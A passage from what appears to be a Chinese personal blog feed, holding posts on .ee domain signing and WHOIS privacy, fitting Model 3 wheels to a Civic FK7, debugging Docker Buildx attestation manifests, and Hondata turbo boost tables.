在付款完成之后我们就需要对域名进行签名,界面大概是这样的:

这个时候只需要选择下方的 ID Card 选择 Estonia ,然后插卡,如果你系统上和浏览器上插件安装正确的话(放心,这个插件不会像网银一样只能用 IE + Windows,我签名的环境是 Linux + Chrome),就会弹出需要输入 PIN2 ,然后确认签名,就完成了!

签名完成后还可以下载带签名的 PDF 文件,文件名后缀是 asice ,可以在本地通过 digidoc 打开,看到完整的文件和签名信息

Whois

WHOIS 信息会不会泄漏呢?我们 whois 一个域名看看信息是怎么样的:

whois xxxxxxxx.ee
[Querying whois.tld.ee]
[whois.tld.ee]
Search results may not be used for commercial, advertising, recompilation,
repackaging, redistribution, reuse, obscuring or other similar activities.

Estonia .ee Top Level Domain WHOIS server

Domain:
name:       xxxxxxxx.ee
status:     ok (paid and in zone)
registered: 2020-01-01 12:25:05 +03:00
changed:    2020-01-01 04:10:15 +03:00
expire:     2020-05-05
outzone:    
delete:     

Registrant:
name:       Private Person
email:      Not Disclosed - Visit www.internet.ee for webbased WHOIS
phone:      Not Disclosed - Visit www.internet.ee for webbased WHOIS
changed:    Not Disclosed

Administrative contact:
name:       Not Disclosed
email:      Not Disclosed - Visit www.internet.ee for webbased WHOIS
changed:    Not Disclosed

Technical contact:
name:       Not Disclosed
email:      Not Disclosed - Visit www.internet.ee for webbased WHOIS
changed:    Not Disclosed

Registrar:
name:       Zone Media OÜ
url:        http://www.zone.ee
phone:      +372 6886886
changed:    2020-07-01 13:55:58 +03:00

Name servers:
nserver:   joel.ns.cloudflare.com
nserver:   vida.ns.cloudflare.com
changed:   2023-05-08 04:10:15 +03:00


Estonia .ee Top Level Domain WHOIS server
More information at http://internet.ee

可以看到 Registrant 部分基本都是 Visit www.internet.ee for webbased WHOIS,通过 www.internet.ee 的界面发现也会看到 Not Disclosed 的结果,所以域名真实注册人身份并不会被对外公开查询到,相关内容在 WHOIS Terms and Conditions 也可以看到:只有被定义为 Legal Person 才会被公开:

This means that the data of the registrant will be published through WHOIS if the registrant is a legal person.

理由是: legal persons do not have private life and do not exist in a physical form, personal rights do not apply to them.

(感觉这里 legal persons 还不能被单纯理解为我们常见的「法人」。

后记

现在大部分域名都自带 WHOIS 保护了,域名注册的部分还是得尽量找靠谱的服务商+填写自己真实的信息,不然可能总是会在奇怪的地方遇到奇怪的问题,比如前段时间尝试注册一个 .pt 域名,然后 Gandi 上填写 Card ID,随便填了个上去,两天之内就收到邮件了:

Hello,

I'm contacting you concerning the domain xxxxxx.pt .

The registry has informed us that the domain name holder could not be correctly identified :

"
Following the assessment of the data associated with the registration of the domain(s) indicated below, and as provided for in paragraph 1 and paragraph 2 of article 8 of the .pt Registration Rules, we request the sending, via email to request@pt.pt , within a maximum period of 2 days, of the following information:
Full name
TIN (proof is required in case of legal entity)
Full address (name and type of street; door identification; housing identification; city; zip code and country)
E-mail address for contact

Please send them necessary information/documents to request@pt.pt in order to identify domain owner.

If the holder cannot be validated within 2 days, the domain name will be deleted.

虽然这都好多天过去了我域名还在吧..但是指不准什么时候就被收回了呢?(

(当然,有的时候还是会出现一些你确实填了真实信息,但是还是翻车了的情况,比如: 关于我的 Name.com 账号被关闭这件事

以上。

]]>
给思域 FK7 换上 Tesla Model 3 的轮毂https://nova.moe/fk7-model3/Sat, 18 Feb 2023 12:00:00 +0800https://nova.moe/fk7-model3/前情提要

YOHOMAHA A052 轮胎在街道行驶 1W KM ,天马赛车场赛道估计 20 圈左右的行驶之后,已经磨到了 Wear Indicator 了,虽然干地性能几乎没有下降,但是作为有雨天的街道使用已经寿终正寝:

借着这个换轮胎的机会打算正好把轮毂尺寸也提升一点,为了安装更宽的轮胎以及为后续的刹车升级留出空间(原厂 17 英寸轮毂的辐条设计没法塞进任何 4 活塞卡钳的刹车)。

轮毂调研

十代思域 FK7 原厂轮毂数据为:

  • 17x7J
  • ET45
  • PCD 5x114.3
  • 中心孔 64.1mm

如果要换轮毂的话必须得符合 5x114.3 和中心孔 >= 64.1 来找,由于原厂轮胎的 215/50/R17 过于面条,下一套胎的数据被我定死在了 235/40/R18 上,也是美规思域 Sport 版本的原厂轮胎尺寸(虽然对应的他们轮毂的 ET 到了 55),轮胎外径和原厂的几乎一样。

为了更好的响应速度,所以轮毂的 J 值必须得 >= 8,且 8.5J 应该是最佳值。

调研了一下之后发现有以下轮毂外观还行:

  • Rays 57CR,18x8.5J,ET37(3100 CNY 一支)
  • Enkei PFM1,18x8.5J,ET45(2400 CNY 一支)
  • Enkei PF09,18x8J (2500 CNY 一支)
  • Rays VV21s,18x8J(3100 CNY 一支)

正当我一筹莫展钱怎么来以及这些 ET 比较激进的轮毂会不会由于过于靠外蹭到车身的时候,Model 3 的轮毂进入了我的视野,数据如下:

  • 18x8.5J
  • ET40
  • PCD 5x114.3
  • 中心孔 64.1mm

PCD 和中心孔和思域的都完全一致,甚至不需要后期加变径环,这不就是思域的理想轮毂搭配嘛?

然后再一看价格,二手轮毂一支一般都在 700 CNY 左右,而且想到相比较上面的改装轮毂而言,有大量的 Model 3 车主在路上验证(不会断),质量也比较有保证。

本着该省省(轮毂),该花花(轮胎)的 JDM 精神,于是就开始各种找货源,最终以 2500 CNY 的价格收到了 4 个没有失圆的 Model 3 拆车轮毂,同时用 6800 CNY 买了 4 条 235/40/R18 的 YOHOMAHA AD09 轮胎。

一些大家可能会问到的问题

轮毂重量

Model3 原厂轮毂重量为 9.68KG,带上 235/40/R18 的 AD09 之后总重量是 22.3KG

思域原厂轮毂重量未知(似乎是 12KG),带上 225/45/R17 的 A052 之后总重量是 21.22KG

车身高度会不会变化

在相同胎压的情况下基本没有变化,不知道之前一些说换了大轮毂车高会变高的人是出于什么理论。

会不会蹭

这个也是我买轮毂最担心的一个点,由于我换了避震,车身高度有所降低,如果买回来发现 ET 过于激进导致在过坎或者车身有跳跃的时候蹭到车身肯定是个很恼火的事情,现在以我的避震数据来看:

位置 数据
前轴 Measurement A

(李子串紧固螺丝到避震弹簧和调节器交界处的距离)
19cm

(已经达到说明书上建议的 17cm-19cm 中最大值)
前轴 Measurement B

(轮毂中央到翼子板边缘距离)
34cm
前轴翼子板距离地面距离

65cm

完整的避震信息请参考:「避震 | Nova Kwok 的思域 FK7 改车笔记

所以结论是:在前轴已经升到最高的情况下,前轴在快速过一些坎和高低起伏路面的时候会蹭到轮拱内侧黑色的塑料部分,后轴不会蹭。

蹭到的位置在下图中红框标记出来的部分:

从左到右分别蹭到的三处位置内部如图:

要缓解这个问题只能将避震前轴高度继续调高至少 2cm(超过说明书的范围,可能会失去质保),所以这么看至少在没有倾角的情况下,ST 避震对于 18x8.5J 轮毂的适配是很失败的。

能不能四活塞卡钳刹车

Endless EC670 测试了是没法安装的:

AP9440 + CZV 330MM 刹车盘套装实测是可以用的

轮毂螺丝

Model 3 轮毂螺帽的面是锥面的,原厂螺帽是球面的,所以千万不要用原厂螺丝拧上去,除非你不要命了,球面和锥面对比如下:

详情可以参考:改装轮毂那些事之螺丝螺帽怎么选?

一些改装轮毂螺丝都是锥面的, 不过一套(20 个)的价格一般在 700 左右,继续本着该省省,该花花的 JDM 精神,我的是在熟悉的店里面捡的其他原厂锥面螺帽的车的拆车螺帽,价格白嫖。

此外,Model 3 原厂螺丝是 M14 的,思域原厂螺丝是 M12 的,整个螺栓粗细会细一些,且一般 M12 的锥面螺帽没法完全压住轮毂上用来装螺帽的那个坑,灵魂画家上线:

另外在: https://club.autohome.com.cn/bbs/thread/83dc4ff4cda4d0ff/96449861-1.html 有看到这么个说法:

说两个楼主需要注意的地方

1.中心孔都是64.1,但是毛豆3的18寸轮毂中心孔带台阶,本田的轴头是平面,且比较短,我记得应该能吃住3mm左右实际距离的轴头,走颠簸路面一定注意。

2.我看你用的是本田原厂螺帽,毛豆三的螺帽是大锥面,本田的是平面球状,能紧住轮毂但是不会太紧,而且特斯拉原厂螺杆比本田粗很多,这就会但是螺丝孔会有部分旷量。

其中第二点也就是本章节说的内容,第一点有待确认,不过可以确认的一点是,如果更换了锥面螺丝的话,螺牙可以吃到 8~9 牙,所以螺牙部分是没有问题的,轴头的话,修理厂给出的看法是只要能锁紧也没问题。

2023-03-26 更新,关于轴头的部分看到一个说法是其实轴头在安装完成之后不会有径向力,所以上面说的「能吃住3mm左右实际距离的轴头,走颠簸路面一定注意。」不一定成立,来源:https://www.bilibili.com/video/BV12N411F7J7/ 中的评论:

图片

前轮对比

侧面对比

以上,希望给同样有想换 Model 3 轮毂的思域车主一点数据反馈,希望大家玩的开心!

]]>
为什么镜像可以 pull 下来但是在 manifest inspect 的时候提示 no such manifest?—— Docker Buildx Attestations 检修记https://nova.moe/docker-attestation/Wed, 25 Jan 2023 16:00:00 +0800https://nova.moe/docker-attestation/你有没有遇到过这种情况,对于一个镜像来说,它可以正常 pull 下来:

pad ~ #  docker pull knatnetwork/github-runner-amd64:focal-2.301.1
focal-2.301.1: Pulling from knatnetwork/github-runner-amd64
846c0b181fff: Pull complete 
588b3eef3b63: Pull complete 
189ea0ac146f: Pull complete 
4f4fb700ef54: Pull complete 
546945707c6e: Pull complete 
71464c2d54c9: Pull complete 
1c4efc443e6a: Pull complete 
21bbc223ea9a: Pull complete 
Digest: sha256:6b5b4aa94f8c1e781785e831d18d7ccc1a0de7d70d63b1afd4df3cce27ddd53f
Status: Downloaded newer image for knatnetwork/github-runner-amd64:focal-2.301.1
docker.io/knatnetwork/github-runner-amd64:focal-2.301.1

但是如果你想 inspect 它的 manifest 会发现 no such manifest

pad ~ # docker manifest inspect knatnetwork/github-runner-amd64:focal-2.301.1
no such manifest: docker.io/knatnetwork/github-runner-amd64:focal-2.301.1

我怎么会遇到这么个鬼问题呢?


在 2022 年 4 月,我开源了 GitHub Runner, 相关的文章是: 开源 Github Actions Self-Hosted Runner,由于这个 Runner 的 Image 就是在 GitHub Actions 上面构建的,且为了提供多架构的支持(ARM64 和 AMD64) 并为了保证构建速度,整个构建工作分为了以下几步:

  1. 第一阶段同时开两个 Runner 分别构建 knatnetwork/github-runner-amd64:focal-2.301.1knatnetwork/github-runner-arm64:focal-2.301.1 的镜像
  2. 在上面两个 Runner 完成之后通过操作 manifest 的方式合并为一个叫 knatnetwork/github-runner:focal-2.301.1 的 Multi-Arch 镜像

这么做一直没有问题,直到几天前在最后一步合并镜像的时候遇到了第一个报错: https://github.com/knatnetwork/github-runner/actions/runs/3954481625/jobs/6776296661

failed to put manifest docker.io/knatnetwork/github-runner:focal-2.301.1: errors:
manifest blob unknown: blob unknown to registry

奇怪,难道是因为 GitHub 有一些 Step 没有升级么?

想到之前看到过一堆 The set-output command is deprecated and will be disabled soon.,于是尝试升级了一下 docker/login-actiondocker/build-push-action 等,然后重新触发任务,结果依然是在合并镜像的时候报错,不过这一次报错内容还不太一样,是:

Run docker manifest create knatnetwork/github-runner:focal-2.301.1 --amend knatnetwork/github-runner-amd64:focal-2.301.1 --amend knatnetwork/github-runner-arm64:focal-2.301.1

docker.io/knatnetwork/github-runner-amd64:focal-2.301.1 is a manifest list

基于个人的经验,如果同一段代码之前能跑,现在突然不能跑了,在这个情况下,一般有如下可能:

  • GitHub Runner 环境的 Docker 版本变了
  • docker/login-actiondocker/build-push-action 中有什么变更,或者这些 step 使用的组件(比如 buildx)有啥变更
  • DockerHub/GHCR 出问题了

我们先排除最后一个可能,因为过了两天之后再重试发现问题依旧,且没有看到有大量对于这两个服务不可用的反馈,所以只剩下前两个可能。

GitHub Runner Docker

先看看是不是 Docker 有啥 Breaking change 导致的问题,最后一次成功的 Action 是: https://github.com/knatnetwork/github-runner/actions/runs/3736662591,调试信息中:

Client:
   Version:           20.10.21+azure-2
   API version:       1.41
   Go version:        go1.18.9
   Git commit:        baeda1f82a10204ec5708d5fbba130ad76cfee49
   Built:             Tue Oct 25 17:53:02 UTC 2022
   OS/Arch:           linux/amd64
   Context:           default
   Experimental:      true
  
  Server:
   Engine:
    Version:          20.10.21+azure-2
    API version:      1.41 (minimum version 1.12)
    Go version:       go1.18.9
    Git commit:       3056208812eb5e792fa99736c9167d1e10f4ab49
    Built:            Tue Oct 25 11:44:15 2022
    OS/Arch:          linux/amd64
    Experimental:     false

第一次失败开始的 Action: https://github.com/knatnetwork/github-runner/actions/runs/3954481625/jobs/6776269393 ,调试信息中:

  Client:
   Version:           20.10.22+azure-1
   API version:       1.41
   Go version:        go1.18.9
   Git commit:        3a2c30b63ab20acfcc3f3550ea756a0561655a77
   Built:             Thu Dec 15 15:37:38 UTC 2022
   OS/Arch:           linux/amd64
   Context:           default
   Experimental:      true
  
  Server:
   Engine:
    Version:          20.10.22+azure-1
    API version:      1.41 (minimum version 1.12)
    Go version:       go1.18.9
    Git commit:       42c8b314993e5eb3cc2776da0bbe41d5eb4b707b
    Built:            Thu Dec 15 22:17:04 2022
    OS/Arch:          linux/amd64
    Experimental:     false

看上去确实有一些版本升级,不过阅读了 https://docs.docker.com/engine/release-notes/#201022 之后发现基本只有点 Patch ,没有什么足以引起这种问题的更新。

那么现在压力就来到了第二个,即 「docker/login-actiondocker/build-push-action 中有什么变更,或者这些 step 使用的组件(比如 buildx)有啥变更」。

Manifest

在继续调查前我们先看一下上面的报错是个什么情况,为什么镜像能拉,但是 manifest 看不了,难道拉镜像之前不需要看 manifest 么?

Docker 用来查看 manifest 的指令是 docker manifest inspect ,但是这个指令没有类似用于调试的 -v 的选项,所以如果看到了 no such manifest,那你也没法知道背后出了啥问题,不过考虑到 manifest 就一个 JSON 文件,所以肯定是有 Docker Hub 的 API 可以查询的,于是立即上网梭了一个脚本出来:

#!/bin/sh

ref="${1:-library/ubuntu:latest}"
sha="${ref#*@}"
if [ "$sha" = "$ref" ]; then
  sha=""
fi
wosha="${ref%%@*}"
repo="${wosha%:*}"
tag="${wosha##*:}"
if [ "$tag" = "$wosha" ]; then
  tag="latest"
fi
api="application/vnd.docker.distribution.manifest.v2+json"
apil="application/vnd.docker.distribution.manifest.list.v2+json"
token=$(curl -s "https://auth.docker.io/token?service=registry.docker.io&scope=repository:${repo}:pull" \
        | jq -r '.token')
curl -H "Accept: ${api}" -H "Accept: ${apil}" \
     -H "Authorization: Bearer $token" \
     -s "https://registry-1.docker.io/v2/${repo}/manifests/${sha:-$tag}" | jq .

来源:https://stackoverflow.com/questions/57316115/get-manifest-of-a-public-docker-image-hosted-on-docker-hub-using-the-docker-regi

然后找了个正常的镜像试了一下,输出结果类似是这样的,和用 docker manifest inspect 结果一致:

{
  "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
  "schemaVersion": 2,
  "config": {
    "mediaType": "application/vnd.docker.container.image.v1+json",
    "digest": "sha256:19bf2d0d0a8aaf27988db772ff6ba4044405447535762bfc9ba451d0d84f0a18",
    "size": 4995
  },
  "layers": [
    {
      "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
      "digest": "sha256:846c0b181fff0c667d9444f8378e8fcfa13116da8d308bf21673f7e4bea8d580",
      "size": 28576882
    },
...
    {
      "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
      "digest": "sha256:74b36662af5e651ae3390a6cf13fcaa8fca08fea5bd711ddbed60bf9e5924654",
      "size": 932
    }
  ]
}

于是立即看了一下有问题的镜像,结果是这样的:

{
  "errors": [
    {
      "code": "MANIFEST_UNKNOWN",
      "message": "OCI index found, but accept header does not support OCI indexes"
    }
  ]
}

OCI Image Index Specification 文档中我们知道 manifest 有很多类型,大家一般在用的是 application/vnd.docker.distribution.manifest.v2+json,如果是一个 multi-arch 的镜像的话可能输出结果是这样的:

{
  "manifests": [
    {
      "digest": "sha256:93d5a28ff72d288d69b5997b8ba47396d2cbb62a72b5d87cd3351094b5d578a0",
      "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
      "platform": {
        "architecture": "amd64",
        "os": "linux"
      },
      "size": 528
    },
    {
      "digest": "sha256:176bc6c6e93528f4b729fae1f8dbd70b73861264dba3a3f64c49c92e1f42a5aa",
      "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
      "platform": {
        "architecture": "s390x",
        "os": "linux"
      },
      "size": 528
    }
  ],
  "mediaType": "application/vnd.docker.distribution.manifest.list.v2+json",
  "schemaVersion": 2
}

这里它的格式是 application/vnd.docker.distribution.manifest.list.v2+json ,也就是上面脚本中请求的时候同时带上了以下两个 header 的原因。

api="application/vnd.docker.distribution.manifest.v2+json"
apil="application/vnd.docker.distribution.manifest.list.v2+json"

但是这里根据提示 OCI index found ,我们猜测可能实际的 manifest 格式和上面两个都不匹配,于是加入了以下两个新的 Header 上去,显式定义一下我们还接受 application/vnd.oci.image.index.v1+json 这个格式:

api_old="application/vnd.oci.image.manifest.v1+json"
api_oldi="application/vnd.oci.image.index.v1+json"

很快,我们就看到有问题的镜像也能返回了,数据是这样的:

{
  "mediaType": "application/vnd.oci.image.index.v1+json",
  "schemaVersion": 2,
  "manifests": [
    {
      "mediaType": "application/vnd.oci.image.manifest.v1+json",
      "digest": "sha256:73809677ff2aff4bee611f1da7cdc9b8825c5729d2aab4c88b683cfa0e5fc7f0",
      "size": 1817,
      "platform": {
        "architecture": "amd64",
        "os": "linux"
      }
    },
    {
      "mediaType": "application/vnd.oci.image.manifest.v1+json",
      "digest": "sha256:f47cf60d8b8da4e0f5040071b78ddb41f0ae160da6b1be7ddcba03a5c0bf9b3d",
      "size": 567,
      "annotations": {
        "vnd.docker.reference.digest": "sha256:73809677ff2aff4bee611f1da7cdc9b8825c5729d2aab4c88b683cfa0e5fc7f0",
        "vnd.docker.reference.type": "attestation-manifest"
      },
      "platform": {
        "architecture": "unknown",
        "os": "unknown"
      }
    }
  ]
}

这就很有意思了,我用:

 - name: Build and push AMD64 Version
    uses: docker/build-push-action@v2
    with:
      context: ./amd64/
      file: ./amd64/Dockerfile
      platforms: linux/amd64
      push: true
      tags: |
        knatnetwork/github-runner-amd64:focal-${{ github.event.inputs.github-runner-version }}

构建出来的镜像为什么 manifests 是个数组(像是一个 multi-arch 的镜像),而且第二个 platform 还是 unknown?

所以应该也是这个原因导致了: docker.io/knatnetwork/github-runner-amd64:focal-2.301.1 is a manifest list 这个报错, 操作 manifest 合并镜像不能把两个多 Arch 镜像合并。

但为什么?

attestation manifest

在上文的输出中我们看到了一个关键信息: "vnd.docker.reference.type": "attestation-manifest",经过搜索看到了这个文档: Attestation storage | Docker Documentation

Buildkit supports creating and attaching attestations to build artifacts. These attestations can provide valuable information from the build process, including, but not limited to: SBOMs, SLSA Provenance, build logs, etc.

哦?是 Buildkit 搞的事情?

于是开始检查最后一次成功的 Buildx 版本,发现是:

github.com/docker/buildx 0.9.1+azure-2 ed00243a0ce2a0aee75311b06e32d33b44729689

再看看第一次失败的 Buildx 版本:

github.com/docker/buildx 0.10.0+azure-1 876462897612d36679153c3414f7689626251501

版本从 0.9.1 升级到了 0.10.0 ,这个时候回顾一下 docker/build-push-actionRelease Note 中有这么一段话:

Buildx v0.10 enables support for a minimal SLSA Provenance attestation, which requires support for OCI-compliant multi-platform images. This may introduce issues with registry and runtime support (e.g. GCR and Lambda). You can optionally disable the default provenance attestation functionality using provenance: false.

很快我们就知道这里的问题在于 Buildx 从 0.10 开始就默认加入了这个叫做 SLSA Provenance attestation 的东西,也就是我们看到的 manifest 中底下那个 "vnd.docker.reference.type": "attestation-manifest" 的内容,这么做对于直接构建的 Multi-Arch 镜像没有影响,对于单架构镜像而言一般也没有影响(虽然会在 docker manifest inspect 的时候报错),但是一旦有了像我这样多个并行构建,后期操作 manifest 的合并的操作的时候,就会导致 docker.io/knatnetwork/github-runner-amd64:focal-2.301.1 is a manifest list 类似这样的错误。

如果你想了解更多关于 Build attestations 的事情,可以从 Docker 的文档: Build attestations | Docker Documentation 开始阅读,简单来说分为 SBOM 和 Provenance:

Build attestations describe how an image was built, and what it contains. The attestations are created at build-time by BuildKit, and become attached to the final image as metadata.

Two types of build annotations are available:

  • Software Bill of Material (SBOM): list of software artifacts that an image contains, or that were used to build the image.

  • Provenance: how an image was built.

既然问题很清晰了,那解决问题的思路也明确了,在 docker/build-push-action 加入以下两行即可:

provenance: false
sbom: false

构建后我们再次通过脚本确认,发现 manifest 已经正常,如下:

{
  "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
  "schemaVersion": 2,
  "config": {
    "mediaType": "application/vnd.docker.container.image.v1+json",
    "digest": "sha256:82da6a4f14803932bfece329e5d2592b74dbbb65a3c493bb6b459fb8b3a082ff",
    "size": 4995
  },
  "layers": [
    {
      "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
      "digest": "sha256:846c0b181fff0c667d9444f8378e8fcfa13116da8d308bf21673f7e4bea8d580",
      "size": 28576882
    },
...
    {
      "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
      "digest": "sha256:8b5ad40966565f7a972b30cf9494aa3600645350952d99f1d442c143a03d2650",
      "size": 932
    }
  ]
}

而至于一开始遇到的 manifest blob unknown: blob unknown to registry 问题,猜测是由于合并镜像需要在一个 repo 下,逻辑应该是:

  • knatnetwork/github-runner-amd64:latestknatnetwork/github-runner-arm64:latest 不能合并
  • knatnetwork/github-runner:latest-amd64knatnetwork/github-runner:latest-arm64 可以合并

不过这里似乎也没法解释为什么之前这么做是可以的,如果有读者有了解的话,欢迎在评论区中指出。

Summary

总结,为了解决上面两个问题,我分别做了以下调整:

  1. docker/build-push-action 中显式禁用了 provenance 和 sbom 的输出
  2. 将 amd64 和 arm64 的镜像改变同 repo 的不同 tag 输出

同时得出一个结论就是:如果你和我一样想后期操作 manifest 来调整镜像的话,一定要注意 buildx 的这个新特性,要么显式禁用掉,要么考虑修改你的 Dockerfile 们尽量一次通过 buildx 构建成 Multi-Arch 的镜像。

References

  1. Attestation storage | Docker Documentation
  2. Build attestations | Docker Documentation
  3. Attestation storage | Docker Documentation
  4. Releases · docker/build-push-action · GitHub
  5. Action started to push manifest indexes instead of images for a single platform · Issue #755 · docker/build-push-action · GitHub
]]>
打高涡轮压力——Hondata 涡轮压力学习笔记https://nova.moe/hondata-turbo/Sat, 21 Jan 2023 23:00:09 +0800https://nova.moe/hondata-turbo/声明:本文是对于 Hondata 涡轮压力控制以及一些相关的知识学习后的笔记,作为一个非车辆工程相关的人,部分文章内容可能并不正确,仅供参考。

涡轮车刷程序提升动力无非几个调整点:提升涡轮压力,优化(比如调浓)空燃比和改变点火提前角(让提前角更加激进),三种调整的失败情况分别为:涡轮烧坏(或发动机拉缸),淹缸,和爆震导致爆缸。

图片来源:https://club.autohome.com.cn/bbs/thread/d31338b49d4a8da5/94001521-1.html

而一般涡轮压力是许多人调节的重点,因为只要在相对安全的范围内调节还算比较可控,加之不同的涡轮压力曲线可以让车辆有截然不同的发力方式,也就是可以做到我的「 Nova Kwok 的思域 FK7 改车笔记 」中首页的一句话:「人和车一起成长绝对比无脑花钱跟风改装更加有意义」,通过对于 ECU 的调节,你可以让车以你更加喜欢的风格驾驶。

在 Hondata 的 Calibrations 页面中,我们可以看到很多 +3psi,+6psi high octane 之类的基础程序可以供选择,这里也就是人们口中说的「 +3 和 +6 的公版程序」。

通过 Hondata 软件提供的 Compare 功能我们可以发现,对于原厂, +3,+6 和 +9 程序而言,空燃比和点火提前角其实没有任何变化,这里唯一的变量其实只有涡轮压力的曲线,准确来说,只有「TC maximum pressure ratio」(请无视除了头两行以外其他的 diff,这里看上去是 Hondata 的 Bug ,虽然显示有差异,但是实际打开发现是一样的)

而 Hondata 程序中,对于涡轮的控制在 Boost Control 下,有以下 6 个表格可以调整,分别是:

  • TC maximum pressure ratio (实际请求涡轮压力表)
  • TC max boost(IAT) (基于 IAT 的涡轮压力限制)
  • TC max boost(PA) (基于大气压的涡轮压力限制)
  • TC boost command (暂时未知)
  • Boost by gear limit (基于档位的涡轮压力限制)
  • Knock air limit (基于进气量的涡轮压力限制)

其中只有第一个是对于实际希望达到的涡轮压力的控制,后面一些 max boost(IAT) 之类都是用来限制涡轮不要在某些情况下超过一个限制压力(防止损伤涡轮)的表格,Boost by gear limit 可以定义在不同的档位下对最高涡轮压力进行限制,例如起步的 1 档可以限制一定的涡轮压力减少打滑的情况发生。

这里我们着重看 TC maximum pressure ratio ,也就是很多人耳中的涡轮压力,所谓的「思域恒压 1.0Bar,瞬压 1.1Bar」都是些啥?

TC maximum pressure ratio

在这个 TC maximum pressure ratio 表格中,我们需要这么解读里面的数据,例如原厂的涡轮压力曲线图是这样的:

我们可以看到,横坐标是 PA(大气压),纵坐标是 RPM(发动机转速),在我选定的区域中由于顶部 PA 都是 1.0 ,所以每列的数字完全相同(这里搞不懂为啥 Hondata 对于同样的 PA 搞出这么多列来)。

从这个表格中我们可以知道,对于程序标定而言,如果你在沿海城市,那么你的 PA 会是 1 ,你的设定涡轮压力会在右边这些 PA 为 1 的列中执行,如果你在一些海拔比较高的城市,那么你的涡轮压力会在左边的某些列中,海拔越高,你的整体涡轮压力就会越低。

这里假设你在上海,那么你的原厂程序涡轮压力标定就是:

TC maximum pressure ratio
1.118
1.164
2.02
2.122
1.968
1.843
1.712

可以看到,在 5500RPM 的时候达到了峰值压力 2.122 Bar,减去一个大气压之后就是 1.122 Bar(或许就是网传的「瞬压 1.1Bar」(那「恒压 1.0Bar」又是个啥?)

好了,现在你已经理解涡轮压力曲线是怎么回事了,我们来分别看看原厂, +6psi 和 +9psi 的涡轮压力曲线吧~

原厂涡轮压力曲线:

+6psi 涡轮压力曲线:

+9psi 涡轮压力曲线:

是不是感觉对比就很清晰了?我们可以看到原厂曲线从 1500 RPM 左右开始涡轮快速起压,然后一路平稳提升到 5500 RPM 时候达到最高压力 1.12Bar,这也符合原厂思域开起来虽然显示满压但是依然很平顺的驾驶感受。

同时参考一下说明书上的额定功率:130kW@5500RPM,是不是一下子就能理解了?

而到了 +6psi ,可以发现在 1550 RPM 和 2550 RPM 之间有个平台,压力保持在 0.4Bar,随后才猛增到 1.1Bar,并在 5550 RPM 到达峰值 1.375Bar。

对于 +9psi 而言,有类似 +6psi 的平台,最大压力 1.686Bar,不过这里最大压力在 5000RPM 达成,随后压力就开始下降。

涡轮压力控制

现在我们知道了上面的表格之后,我们就需要来了解一下涡轮压力是怎么控制的,我们可以看下图:

图片来源:https://www.researchgate.net/figure/A-schematic-of-a-turbocharging-system_fig8_260878177

在发动机的排气侧有一个被称为 Wastegate 的玩意儿(中文名可能叫废气旁通阀,俗称“拉煲”),通过电脑控制这个旁通阀的开闭以及开启程度,就可以决定有多少的废气用于吹动涡轮,有多少的废气直接排出。

通过真空控制阀门的打开和关闭,原理大概就是进气歧管内达到预设的空气压力时,真空阀将Turbine侧的旁通阀打开泄压,或者维持歧管压力。所谓的“增压值”,就是进气歧管内的瞬间最高空气压力(瞬压)和恒定工作时的气压(恒压),所谓的涡轮介入转速,从进气歧管的压力看,就是从负压转为正压的一瞬间,就叫“起bar”。

—— 涡轮那些事儿之二:废气旁通阀 (Honda誌)

我们还是以思域举例,首先定义一下,电脑控制压力叫做 BP CMD(Boost Pressure Command),实际涡轮压力叫做 BP(Boost Pressure),旁通阀是 WG(Wastegate),电脑控制旁通阀是 WGCMD(Wastegate Command),我们来看一段 Log 数据:

这段数据是我 3 档全油门冲刺的一个瞬间(TPedal 一直在 91%),到转速到了红线收油截止,可以看到随着转速上升涡轮压力在逐渐变大,并在 5000RPM 的时候 BP 和 BPCMD 都达到了最大值 20psi,随后涡轮压力开始下降,导致涡轮压力下降的原因是 WGCMD 控制着 WG 开始变大,旁通阀逐渐让更多废气不经过涡轮,这样就能做到控制涡轮在电脑设计的压力内了(不超压)。

如果你想了解更多关于涡轮的内容,或许可以看看 涡轮那些事儿之三:关于涡轮增压系统的进气 ,主要关于进气管路,空气滤芯(风格),涡轮压力的相关知识 (网页镜像: https://archive.ph/EcHuE

涡轮压力调节

有了上面的知识之后,我们可能会得出一个结论:我把涡轮压力写大大大大!那我就可以起飞了!

确实。

这里的指导意见是这样的:

一知半解的二阶车友常常忽略这一项,觉得涡轮压力打高就好。但实际上,涡轮压力大说明进气阻力大,并不是压力大马力就一定大。举个简单的例子,原厂使用的TD025涡轮,1.1bar和1.3bar可能差个20匹马力,但是1.6bar和1.8bar可能就差5匹马力,因为涡轮流量已经到瓶颈了,继续增加压力并不能推更多空气进去燃烧,反而因为压力过高涡轮容易坏。而你换一个加大涡轮,用更小的涡轮压力就能达到相同的最大马力值。

十代思域避坑改装教程!三阶车主血泪写成!(技术贴) (https://club.autohome.com.cn/bbs/thread/d31338b49d4a8da5/94001521-1.html)

所以在这里我个人的调节建议是:如果你现在是 +6psi 的公版程序且希望进行一些额外的调整的话,把 +9psi 的 TC maximum pressure ratio 最后一列复制到 +6psi 的最后一列上,这样可以获得一个额外的曲线用来作为参考,类似这样:

此时最顶上那条紫色的线是 +9psi 公版程序的线,其次是 +6psi 公版程序的线,有了顶上的线作为参考后,可以适当调整倒数第二列的曲线,根据个人的驾驶习惯和希望的满压点进行调整,注意调整的整体曲线样式应该和上下两条线类似,调整完后将调整好的那一列覆盖所有 PA 为 1 的列即可,随后一边驾驶一边录制数据并观察是否正确达到了你的设定涡轮压力。

再次声明:本文是对于 Hondata 涡轮压力控制以及一些相关的知识学习后的笔记,作为一个非车辆工程相关的人,部分文章内容可能并不正确,仅供参考。

涡轮压力限制

最后我们来看看上面说的一些涡轮压力限制

  • TC max boost(IAT) (基于 IAT 的涡轮压力限制)
  • TC max boost(PA) (基于大气压的涡轮压力限制)
  • TC boost command (暂时未知)
  • Boost by gear limit (基于档位的涡轮压力限制)
  • Knock air limit (基于进气量的涡轮压力限制)

以 +6psi 公版程序为例,这些图表分别是这样的:

TC max boost(IAT) (基于 IAT 的涡轮压力限制):

TC max boost(PA) (基于大气压的涡轮压力限制):

TC boost command (暂时未知):

Boost by gear limit (基于档位的涡轮压力限制):

Knock air limit (基于进气量的涡轮压力限制)

